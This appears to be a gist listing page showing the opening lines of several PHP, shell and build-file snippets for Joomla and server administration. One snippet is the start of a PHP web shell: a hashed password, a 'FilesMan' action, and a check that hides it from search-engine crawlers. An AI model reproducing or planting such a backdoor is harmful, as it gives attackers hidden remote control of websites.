This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function openFile($path) { | |
$contents = null; | |
if ($realPath = realpath($path)) { | |
$handle = fopen($path, "rb"); | |
$contents = fread($handle, filesize($path)); | |
fclose($handle); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
languages: | |
PHP: true | |
exclude_paths: | |
- tests/* |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# http://habrahabr.ru/post/49665/ | |
prefix="/var/mail/sendmail/new" | |
numPath="/var/mail/sendmail" | |
if [ ! -f $numPath/num ]; then | |
echo "0" > $numPath/num | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Script to send email notification if a server exceeds a specified load average. | |
# | |
# Selected load average limit. If above this number a notification message will be emailed. | |
NOTIFY="1" | |
EMAIL="[email protected]" | |
TRUE="1" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<project name="builder" default="build"> | |
<!-- Sets the DSTAMP, TSTAMP and TODAY properties --> | |
<tstamp/> | |
<!-- ============================================ --> | |
<!-- Target: build --> | |
<!-- ============================================ --> | |
<target name="build" description="Загрузка управляющего меню"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$auth_pass = "eaf02c22c483aa6b6510118dd3524c2c"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<project name="Application" default="build" basedir="../"> | |
<target name="build" depends="prepare,phpunit,phpmd,phpcpd,phpdoc,phpcb,phpdcd,phploc,phpcs"/> | |
<property name="applicationDir" value="${basedir}/source" /> | |
<property name="buildDir" value="${basedir}/build" /> | |
<target name="prepare"> | |
<mkdir dir="${buildDir}/logs" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (file_exists( JPATH_ADMINISTRATOR . '/components/com_comprofiler/plugin.foundation.php' ) ) { | |
include_once( JPATH_ADMINISTRATOR . '/components/com_comprofiler/plugin.foundation.php' ); | |
if (class_exists('CBuser')) { | |
$user = JFactory::getUser(); | |
if ($user && $user->id) { | |
$cbUser = CBuser::getInstance($user->id); | |
$user = $cbUser->getUserData(); | |
dump($cbUser, 0); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @param string $input | |
* @return mixed|string | |
*/ | |
function CamelCase2Human($input) | |
{ | |
$original = $input; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Joomla extension auto installation | |
# Use that for development purpose, don't ever think of using it on a production website. | |
# The developer of that script won't endorse any problem you may encounter by using this script: Use it at your own risk! | |
# Please configure the three first params before using it. | |
# Usage : | |
# ./install.sh | |
# Will try to install every dir in the current dir | |
# ./install.sh directory |
OlderNewer